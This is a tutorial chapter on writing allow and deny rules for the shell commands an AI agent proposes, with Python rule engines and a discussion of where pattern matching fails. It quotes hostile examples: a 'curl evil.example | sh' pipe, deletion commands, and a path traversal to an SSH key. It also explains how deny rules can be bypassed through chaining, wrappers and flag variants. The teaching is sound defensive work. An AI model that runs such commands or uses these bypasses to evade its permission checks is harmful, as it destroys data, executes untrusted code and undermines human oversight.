Sub topic 5
Writing allow and deny rules, and where patterns break
This chapter assumes you know the allow, ask, and deny decisions from the earlier chapters. It also assumes you can read basic Python and shell. Here you will write rules that match commands and learn why matching text is weaker than it looks.
How rules are evaluated
A rule is a pattern paired with a decision. The agent compares each proposed command against the rules and picks one outcome. A common order is:
- Deny rules first. A match blocks the command.
- Allow rules next. A match runs the command without a prompt.
- Anything unmatched falls back to asking you.
Deny wins over allow, so a broad allow rule cannot override a specific block. Unmatched commands default to "ask" so that anything you did not plan for still reaches a human.
A minimal rule engine
This sketch uses shell-style wildcards. Real agents use their own pattern syntax, but the logic is the same.
from fnmatch import fnmatch
DENY = ["rm -rf *", "git push --force*", "curl *"]
ALLOW = ["git status", "git diff*", "pytest*"]
def decide(command: str) -> str:
"""Return 'deny', 'allow', or 'ask' for a shell command."""
if any(fnmatch(command, p) for p in DENY):
return "deny"
if any(fnmatch(command, p) for p in ALLOW):
return "allow"
return "ask"
print(decide("git status")) # allow
print(decide("rm -rf build")) # deny
print(decide("npm install")) # askWhere patterns break
Pattern matching sees a string. The shell sees a program. Several gaps follow from that.
- Compound commands.
git diff*also matchesgit diff; curl evil.example | sh, because the pattern only checks the start of the string. - Variants of the same action.
rm -rf *does not matchrm -fr buildor/bin/rm -rf build. The deny rule is easy to sidestep. - Substitution and redirection. Backticks,
$(...), and>can run other commands or overwrite files inside an otherwise allowed command. - Wrappers.
bash -c "..."orxargscan hide the real command inside an argument.
Tightening the rules
One defense is to refuse to auto-allow any command that can chain or substitute. This version sends such commands back to the user.
import re
from fnmatch import fnmatch
DENY = ["rm -rf *", "git push --force*", "curl *"]
ALLOW = ["git status", "git diff*", "pytest*"]
# Characters that let one command string run, chain, or substitute other commands.
CHAINING = re.compile(r"[;&|`$<>\n]")
def decide(command: str) -> str:
if any(fnmatch(command, p) for p in DENY):
return "deny"
if any(fnmatch(command, p) for p in ALLOW):
return "allow"
return "ask"
def decide_safe(command: str) -> str:
if CHAINING.search(command):
return "ask" # never auto-allow compound commands
return decide(command)
print(decide("git diff; echo hi")) # allow (the prefix rule matched a compound command)
print(decide_safe("git diff; echo hi")) # askThis guard fails toward asking, which is the right direction. It can still produce false alarms. For example, pytest -k "a or b" is fine, but a command containing $HOME is held for review.
Scoping file writes
Rules for file paths have the same problem. src/* looks safe, but src/../../.ssh/id_rsa matches it. Resolve the path before you compare it. This also follows symlinks.
from pathlib import Path
def inside_workspace(path: str, workspace: str) -> bool:
root = Path(workspace).resolve()
target = (root / path).resolve()
return target.is_relative_to(root)
print(inside_workspace("src/app.py", "/home/me/project")) # True
print(inside_workspace("../.ssh/id_rsa", "/home/me/project")) # Falseis_relative_to needs Python 3.9 or later.
Practical guidance
- Allow narrow, read-only commands such as
git statusorgit diff. - Deny a few clearly destructive commands, and expect them to be bypassable.
- Let everything else fall through to "ask".
- Use a sandbox when a command must never succeed.
Exercise
Using the first rule engine, decide("git diff --stat && rm -fr data") returns "allow". Give two reasons, and say one change that makes the result safer.
Show answer
The allow pattern git diff* matches the start of the string, so the whole compound command is allowed. The deny pattern rm -rf * does not match rm -fr, and it also only matches commands that begin with rm, not a command after &&. Sending any command containing &, ;, |, backticks, or $ to "ask", as decide_safe does, makes the result "ask".